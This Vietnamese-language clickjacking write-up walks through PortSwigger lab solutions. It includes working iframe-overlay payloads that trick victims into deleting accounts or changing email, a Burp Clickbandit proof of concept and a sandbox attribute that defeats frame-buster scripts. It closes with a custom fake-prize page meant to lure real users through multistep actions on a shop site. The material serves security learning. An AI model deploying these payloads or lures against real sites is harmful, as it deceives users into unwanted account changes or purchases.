RESEARCH: Clickjacking ![image](https://hackmd.io/_uploads/SkgKMizIgg.png) ## I. Clickjacking là gì `Clickjacking` là một kỹ thuật tấn công mạng trong đó kẻ tấn công lừa người dùng nhấp vào những thứ khác với những gì họ nghĩ mình đang nhấp vào. * Cách thức hoạt động Kẻ tấn công tạo một trang web có vẻ vô hại Sử dụng `iframe` để nhúng trang web mục tiêu (như Facebook, ngân hàng) một cách ẩn Đặt các nút hoặc liên kết giả lên trên `iframe` thật Khi người dùng nhấp vào nút giả, thực tế họ đang nhấp vào `iframe` ẩn bên dưới * Ví dụ cụ thể: Một trang web hiển thị nút `Chơi game miễn phí` nhưng thực tế đây là nút `Like` của Facebook được che phủ. Khi người dùng nhấp vào, họ vô tình like một trang Facebook mà không biết. ## II. Iframe trong clickjacking `Iframe (inline frame)` là một phần tử `HTML` cho phép nhúng một trang web khác vào trong trang web hiện tại. Nó tạo ra một "cửa sổ" nhỏ hiển thị nội dung từ nguồn khác. ```html <iframe src="https://example.com" width="600" height="400"></iframe> ``` Do đó, trong lỗ hỏng `Clickjacking`, `Iframe` được các kẻ xấu lợi dụng để thực hiện lỗ hỏng do nó có các đặc tính sau * 1. Tính trong suốt `Iframe` có thể được làm trong suốt hoàn toàn bằng `CSS: opacity: 0` Điều này cho phép kẻ tấn công che giấu `iframe` chứa trang web mục tiêu Người dùng chỉ thấy nội dung giả bên trên, không biết có iframe ẩn bên dưới 2. Khả năng chồng lấp (Layering) `Iframe` có thể được định vị chính xác bằng `CSS positioning` Sử dụng `z-index` để điều khiển thứ tự lớp Kẻ tấn công đặt iframe ở lớp thấp, nội dung giả ở lớp cao 3. Kích thước và vị trí linh hoạt `Iframe` có thể được điều chỉnh kích thước và vị trí tùy ý Cho phép căn chỉnh chính xác các nút/liên kết trong iframe với nội dung giả Có thể cắt bớt iframe để chỉ hiển thị phần cần thiết 4. Same-origin policy limitations `Iframe` từ domain khác có hạn chế về tương tác JavaScript Nhưng vẫn có thể nhận sự kiện click từ người dùng Kẻ tấn công lợi dụng điều này để "chuyển tiếp" click ## III. Labs ### 1. Lab: Basic clickjacking with CSRF token protection ![image](https://hackmd.io/_uploads/rJgvKHW8ee.png) Với lab đầu tiên sẽ là lab cơ bản để ta thực hành và làm quen với lỗ hỏng. Ở đấy ta sẽ có một credential là `wiener:peter` và một `exploit server` việc của ta là tạo một payload để victim click vào và tự xóa tài khoản của họ. Ta sẽ setup `exploi server`, đồng thời điều chỉnh các giá trị top, left của div và width, height của iframe cho phù hợp. z-index dùng để chỉ định stack order của 2 element này. Trong trường hợp hiện tại ta muốn khai thác clickjacking victim đến vulnerable website tại `/my-account` nên z-index của iframe sẽ là 2 => nằm ở trước ```html <style> iframe { position:relative; width:500px; height: 700px; opacity: 0.5; z-index: 2; } div { position:absolute; top:500px; left:65px; z-index: 1; } </style> <div>click</div> <iframe src="https://exploit-0a8c00060312cfab80be165201de00b2.exploit-server.net/my-account"></iframe> ``` ![image](https://hackmd.io/_uploads/Hylw9rWUgl.png) Giờ ta chỉ việc store và gửi cho victim là hoàn thành > Để hiểu rõ việc khai thác ta chỉ cần biết là thông tin để phising ta sẽ đặt ở lớp bên dưới so với iframe thật sư ta muốn victim làm và sau đó ta sẽ chỉnh `opacity` của `Iframe` về mức gần bằng 0 để gần như trong suốt ### 2. Lab: Clickjacking with form input data prefilled from a URL parameter Đây là dạng `clickjacking` nâng cao, nơi kẻ tấn công không chỉ lừa người dùng click vào form, mà còn điền sẵn dữ liệu độc hại vào form thông qua `URL parameters`. Qua đó có thể tự mình đưa ra dữ liệu mong muốn victim nhập vào. Và ở đây lab này thay vì khai thác thủ công, mình cũng sẽ muốn thực hiện trên một tính năng rất hay của `Burpsuite Pro` đó là `Clickbandit`. Đơn giản mà nói, thì `Clickbandit` sẽ giúp ta tự động hóa việc phát hiện và khai thác `Clickjacking` doc tham khảo [ở đây](https://portswigger.net/burp/documentation/desktop/tools/clickbandit) ![image](https://hackmd.io/_uploads/r1WILFfUlx.png) Ta sẽ copy phần source code của `Clickbandit` vào clipboard, và vào lab mở devtools lên sẽ paste toàn bộ phần code vào ta sẽ có giao diện như sau ![image](https://hackmd.io/_uploads/Bkx0UYG8ee.png) click vào `start` ![image](https://hackmd.io/_uploads/H1vJwKfUgl.png) Ta sẽ có một iframe, tại đây, ta muốn dụ victim để click update email với nội dụng ta yêu cầu trong URL, nên ta sẽ click vào `update email` và sau đó `finish` và ta sẽ được một trang phising bằng html, ```html <div id="container" style="clip-path:none;clip:auto;overflow:visible;position:absolute;left:0;top:0;width:100%;height:100%"> <!-- Clickjacking PoC Generated by Burp Suite Professional --> <input id="clickjack_focus" style="opacity:0;position:absolute;left:-5000px;"> <div id="clickjack_button" style="opacity: 1; transform-style: preserve-3d; text-align: center; font-family: Arial; font-size: 100%; width: 338px; height: 32px; z-index: 0; background-color: red; color: rgb(255, 255, 255); position: absolute; left: 200px; top: 200px;"><div style="position:relative;top: 50%;transform: translateY(-50%);">Click</div></div> <!-- Show this element when clickjacking is complete --> <div id="clickjack_complete" style="display:none;-webkit-transform-style: preserve-3d;-moz-transform-style: preserve-3d;transform-style: preserve-3d;font-family:Arial;font-size:16pt;color:red;text-align:center;width:100%;height:100%;"><div style="position:relative;top: 50%;transform: translateY(-50%);">You've been clickjacked!</div></div> <iframe id="parentFrame" src="data:text/html;base64,PHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsIGZ1bmN0aW9uKGUpeyB2YXIgZGF0YSwgY2hpbGRGcmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjaGlsZEZyYW1lIik7IHRyeSB7IGRhdGEgPSBKU09OLnBhcnNlKGUuZGF0YSk7IH0gY2F0Y2goZSl7IGRhdGEgPSB7fTsgfSBpZighZGF0YS5jbGlja2JhbmRpdCl7IHJldHVybiBmYWxzZTsgfSBjaGlsZEZyYW1lLnN0eWxlLndpZHRoID0gZGF0YS5kb2NXaWR0aCsicHgiO2NoaWxkRnJhbWUuc3R5bGUuaGVpZ2h0ID0gZGF0YS5kb2NIZWlnaHQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLmxlZnQgPSBkYXRhLmxlZnQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLnRvcCA9IGRhdGEudG9wKyJweCI7fSwgZmFsc2UpOzwvc2NyaXB0PjxpZnJhbWUgc3JjPSJodHRwczovLzBhZmQwMDMxMDM5MjQ3ZWI4MGM1MDM4NjAwM2IwMGM5LndlYi1zZWN1cml0eS1hY2FkZW15Lm5ldC9teS1hY2NvdW50P2lkPXdpZW5lciIgc2Nyb2xsaW5nPSJubyIgc3R5bGU9IndpZHRoOjQwMnB4O2hlaWdodDoxMDAzcHg7cG9zaXRpb246YWJzb2x1dGU7bGVmdDoxNjhweDt0b3A6LTIzMnB4O2JvcmRlcjowOyIgZnJhbWVib3JkZXI9IjAiIGlkPSJjaGlsZEZyYW1lIiBvbmxvYWQ9InBhcmVudC5wb3N0TWVzc2FnZShKU09OLnN0cmluZ2lmeSh7Y2xpY2tiYW5kaXQ6MX0pLCcqJykiPjwvaWZyYW1lPg==" frameborder="0" scrolling="no" style="-ms-transform: scale(1.0);-ms-transform-origin: 200px 200px;transform: scale(1.0);-moz-transform: scale(1.0);-moz-transform-origin: 200px 200px;-o-transform: scale(1.0);-o-transform-origin: 200px 200px;-webkit-transform: scale(1.0);-webkit-transform-origin: 200px 200px;opacity:0.5;border:0;position:absolute;z-index:1;width:402px;height:1003px;left:0px;top:0px"></iframe> </div> <script>function findPos(obj) { var left = 0, top = 0; if(obj.offsetParent) { while(1) { left += obj.offsetLeft; top += obj.offsetTop; if(!obj.offsetParent) { break; } obj = obj.offsetParent; } } else if(obj.x && obj.y) { left += obj.x; top += obj.y; } return [left,top]; }function generateClickArea(pos) { var elementWidth, elementHeight, x, y, parentFrame = document.getElementById('parentFrame'), desiredX = 200, desiredY = 200, parentOffsetWidth, parentOffsetHeight, docWidth, docHeight, btn = document.getElementById('clickjack_button'); if(pos < window.clickbandit.config.clickTracking.length) { clickjackCompleted(false); elementWidth = window.clickbandit.config.clickTracking[pos].width; elementHeight = window.clickbandit.config.clickTracking[pos].height; btn.style.width = elementWidth + 'px'; btn.style.height = elementHeight + 'px'; window.clickbandit.elementWidth = elementWidth; window.clickbandit.elementHeight = elementHeight; x = window.clickbandit.config.clickTracking[pos].left; y = window.clickbandit.config.clickTracking[pos].top; docWidth = window.clickbandit.config.clickTracking[pos].documentWidth; docHeight = window.clickbandit.config.clickTracking[pos].documentHeight; parentOffsetWidth = desiredX - x; parentOffsetHeight = desiredY - y; parentFrame.style.width = docWidth+'px'; parentFrame.style.height = docHeight+'px'; parentFrame.contentWindow.postMessage(JSON.stringify({clickbandit: 1, docWidth: docWidth, docHeight: docHeight, left: parentOffsetWidth, top: parentOffsetHeight}),'*'); calculateButtonSize(getFactor(parentFrame)); showButton(); if(parentFrame.style.opacity === '0') { calculateClip(); } } else { resetClip(); hideButton(); clickjackCompleted(true); } }function hideButton() { var btn = document.getElementById('clickjack_button'); btn.style.opacity = 0; }function showButton() { var btn = document.getElementById('clickjack_button'); btn.style.opacity = 1; }function clickjackCompleted(show) { var complete = document.getElementById('clickjack_complete'); if(show) { complete.style.display = 'block'; } else { complete.style.display = 'none'; } }window.addEventListener("message", function handleMessages(e){ var data; try { data = JSON.parse(e.data); } catch(e){ data = {}; } if(!data.clickbandit) { return false; } showButton(); },false);window.addEventListener("blur", function(){ if(window.clickbandit.mouseover) { hideButton();setTimeout(function(){ generateClickArea(++window.clickbandit.config.currentPosition);document.getElementById("clickjack_focus").focus();},1000); } }, false);document.getElementById("parentFrame").addEventListener("mouseover",function(){ window.clickbandit.mouseover = true; }, false);document.getElementById("parentFrame").addEventListener("mouseout",function(){ window.clickbandit.mouseover = false; }, false);</script><script>window.clickbandit={mode: "review", mouseover:false,elementWidth:338,elementHeight:32,config:{"clickTracking":[{"width":338,"height":32,"mouseX":197,"mouseY":445,"left":32,"top":432,"documentWidth":402,"documentHeight":1003}],"currentPosition":0}};function calculateClip() { var btn = document.getElementById('clickjack_button'), w = btn.offsetWidth, h = btn.offsetHeight, container = document.getElementById('container'), x = btn.offsetLeft, y = btn.offsetTop; container.style.overflow = 'hidden'; container.style.clip = 'rect('+y+'px, '+(x+w)+'px, '+(y+h)+'px, '+x+'px)'; container.style.clipPath = 'inset('+y+'px '+(x+w)+'px '+(y+h)+'px '+x+'px)'; }function calculateButtonSize(factor) { var btn = document.getElementById('clickjack_button'), resizedWidth = Math.round(window.clickbandit.elementWidth * factor), resizedHeight = Math.round(window.clickbandit.elementHeight * factor); btn.style.width = resizedWidth + 'px'; btn.style.height = resizedHeight + 'px'; if(factor > 100) { btn.style.fontSize = '400%'; } else { btn.style.fontSize = (factor * 100) + '%'; } }function resetClip() { var container = document.getElementById('container'); container.style.overflow = 'visible'; container.style.clip = 'auto'; container.style.clipPath = 'none'; }function getFactor(obj) { if(typeof obj.style.transform === 'string') { return obj.style.transform.replace(/[^\d.]/g,''); } if(typeof obj.style.msTransform === 'string') { return obj.style.msTransform.replace(/[^\d.]/g,''); } if(typeof obj.style.MozTransform === 'string') { return obj.style.MozTransform.replace(/[^\d.]/g,''); } if(typeof obj.style.oTransform === 'string') { return obj.style.oTransform.replace(/[^\d.]/g,''); } if(typeof obj.style.webkitTransform === 'string') { return obj.style.webkitTransform.replace(/[^\d.]/g,''); } return 1; }</script> ``` Việc ta quan tâm là phần nội dung encode b64 ở phía html, mình sẽ copy và dán vào decoder. Ở đoạn này ta sẽ thay đổi phần `src` của iframe thành url như sau để điền sẵn email vào ![image](https://hackmd.io/_uploads/H14TPFzIgl.png) Giờ thì encode lại và chỉ việc gửi đến exploit server là xong > Như ta đã thấy `Clickbandit` đã tự động hóa hoàn toàn việc dựng server phising và căn chỉnh tỉ lệ cho iframe và thẻ html ### 3. Lab: Clickjacking with a frame buster script Ở lab này, ta sẽ biết đến một phương pháp đã từng được tin dùng trong việc chống lại clickjacking có tên là `Frame Busting`. Như ta đã biết `Clickjacking` chỉ xảy ra khi một trang web có thể bị lồng vào một trang khác bằng thẻ `iframe`. Vì thế để tự vệ, các trang web bắt đầu sử dụng một đoạn mã `JavaScript` gọi là `Frame Buster` Đoạn mã này giống như một `anh chàng bảo vệ` của trang web. Khi trang web được tải, anh bảo vệ này sẽ kiểm tra xung quanh, nó tự hỏi: `Tôi có đang bị ai đó lồng vào trong một cái khung không? Hay tôi đang là cửa sổ chính?`. Nếu bị lồng ghép, nó sẽ "phá khung". Nếu phát hiện mình đang bị lồng trong một trang khác, nó sẽ tự động thoát ra và chiếm lấy toàn bộ cửa sổ trình duyệt. Điều này làm cho trang web mồi nhử của kẻ tấn công biến mất và trang web thật hiện ra, phá hỏng cuộc tấn công hoặc nó có thể ngăn chặn bằng cách không cấp quyền truy cập thông qua `iframe` Nhưng để bypass thì cũng rất dễ, đó là ta sẽ dùng thuộc tính `sandbox` của `iframe` kể từ `HTML5`. Thuộc tính sandbox của thẻ `iframe` có thể được sử dụng để áp đặt các hạn chế bảo mật lên nội dung của `iframe`. Nếu đặt sandbox="" (giá trị rỗng) cho iframe, nó sẽ áp dụng tất cả các hạn chế mặc định, bao gồm việc ngăn chặn việc truy cập top.location hoặc parent.location. Bằng cách loại bỏ `allow-top-navigation` khỏi các quyền của sandbox, có thể ngăn chặn `script` trong iframe thay đổi URL của cửa sổ cha. Để có cái nhìn rõ ràng nhất mình sẽ không dùng `Clickbandit` thay vào đó sẽ khai thác thủ công ```html <style> iframe { position:relative; width:1000px; height: 600px; opacity: 0.00001; z-index: 2; } div { position:absolute; top: 466px; left: 69px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://0a5700f20407d86480bff853008d003b.web-security-academy.net//my-account?email=hacked@gmail.com" sandbox="allow-forms"></iframe> ``` Như ta thấy ở iframe ta sẽ thêm attr là `sandbox="allow-forms"`, tức là ta chỉ cho phép tính năng này hoạt động, một khi ta không thêm `allow-top-navigation` thì `frame buster` sẽ không thể biết để detect ta ### 4. Multistep clickjacking0 `Multistep Clickjacking` là một dạng tấn công `Clickjacking` nâng cao, trong đó kẻ tấn công lừa người dùng thực hiện nhiều hành động liên tiếp trên một trang web. Thay vì chỉ một cú nhấp chuột, kẻ tấn công yêu cầu người dùng thực hiện một chuỗi các hành động để hoàn thành một tác vụ nhạy cảm, ví dụ: `Nhấp vào "Đăng nhập", sau đó nhấp vào "Xác nhận", rồi nhập mật khẩu.` `Chọn một mục sản phẩm, thêm vào giỏ hàng, và sau đó nhấp vào "Thanh toán".` Lab ở đây sẽ tương tự như lab ban đầu, sẽ lừa victim để xóa account của họ, Nhưng khi nhấn `delete account` ta còn phải xác nhận lại thông tin một lần nữa, từ đó dẫn đến mất đến 2 thao tác mà theo cách thông thường ta sẽ không thực hiện clickjacking được ![image](https://hackmd.io/_uploads/S1rl4jGLee.png) Do đó ta có script mới là ```html <style> iframe { position:relative; width:1000px; height: 850px; opacity: 0.000001; z-index: 2; } #first { position:absolute; top: 509px; left: 44px; z-index: 1; } #second { position:absolute; top: 308px; left: 192px; z-index: 1; } </style> <button id="first">Click me first</button> <button id="second">Click me next</button> <iframe src="https://0ae8007d0426e9c2800fa937000f00f2.web-security-academy.net/my-account"></iframe> ``` Ta vẫn có thể sử đụng `Clickbandit` để gen script nhưng ở đây mình sẽ thực hiện thủ công. Như có thể thấy, ta sẽ tiến hành sử dụng 1 `iframe` và 2 `button`, `button1` sẽ được dùng để dụ victim click vào nút `delete account` ban đầu, sau khi click sẽ tiếp tục chỉnh `button2` đến trước nút `yes` ở trang thứ 2. Thực tế ta có thể custom lại script này thành một script có tính chân thực hơn nhằm để dễ dàng lừa được victim ```html <!DOCTYPE html> <html> <head> <title>Trang Lừa Đảo - Nhận Quà Miễn Phí!</title> <style> body { margin: 0; padding: 0; font-family: Arial, sans-serif; text-align: center; background-color: #f0f0f0; } .promo-box { position: relative; width: 800px; height: 500px; margin: 50px auto; border: 2px solid #ffcc00; background-color: #fff; box-shadow: 0 0 15px rgba(0,0,0,0.2); padding: 20px; overflow: hidden; } h1 { color: #d9534f; } p { font-size: 1.1em; color: #555; } .instruction-button { padding: 20px 40px; font-size: 1.5em; background-color: #5cb85c; color: white; border: none; border-radius: 8px; cursor: pointer; z-index: 10; position: absolute; top: 250px; left: 50%; transform: translateX(-50%); } .hidden-iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; border: none; opacity: 0; pointer-events: none; } .active-iframe { pointer-events: auto; z-index: 5; } </style> </head> <body> <div class="promo-box"> <h1>Bạn Đã Trúng Thưởng Lớn!</h1> <p>Để nhận giải thưởng hấp dẫn này, bạn chỉ cần thực hiện vài bước đơn giản.</p> <button id="mainActionButton" class="instruction-button">Bấm vào đây để bắt đầu!</button> <iframe id="iframeStep1" class="hidden-iframe" src="https://example-retail.com/product/specific-item-id"></iframe> <iframe id="iframeStep2" class="hidden-iframe" src="https://example-retail.com/cart"></iframe> </div> <script> const mainActionButton = document.getElementById('mainActionButton'); const iframeStep1 = document.getElementById('iframeStep1'); const iframeStep2 = document.getElementById('iframeStep2'); let currentStep = 0; mainActionButton.addEventListener('click', function(event) { event.preventDefault(); if (currentStep === 0) { iframeStep1.classList.add('active-iframe'); iframeStep1.style.top = '-100px'; iframeStep1.style.left = '-50px'; mainActionButton.textContent = "Tiếp tục để xác nhận giải thưởng!"; currentStep = 1; } else if (currentStep === 1) { iframeStep1.classList.remove('active-iframe'); iframeStep2.classList.add('active-iframe'); iframeStep2.style.top = '-200px'; iframeStep2.style.left = '0px'; mainActionButton.textContent = "Hoàn tất nhận quà!"; currentStep = 2; } else if (currentStep === 2) { alert("Chúc mừng! Giải thưởng của bạn đang được xử lý."); window.location.href = "https://legitimate-thank-you-page.com"; } }); </script> </body> </html> ``` Đây là một script cơ bản, ví dụ về việc custom lại script ban đầu, như ta có thể thấy ban đầu trang sẽ hiện lên phising rằng yêu cầu người dùng nhấn nút để nhận quà ![image](https://hackmd.io/_uploads/S1HiSozUex.png) Tiếp đến, nó yêu cầu nguời dùng xác thực thêm một lần nữa ![image](https://hackmd.io/_uploads/BkpnHof8eg.png) Cuối cùng yêu cầu người dùng ấn nút `Hoàn tất nhận quà` ![image](https://hackmd.io/_uploads/S1BpBjG8xl.png) Sau đó popup sẽ hiện lên ![image](https://hackmd.io/_uploads/SkBRroM8xx.png) Thực tế ta có thể thay thế các button trong đây để thực hiện các thao thác thêm, xóa, sửa ở các trang mà ta muốn clickjack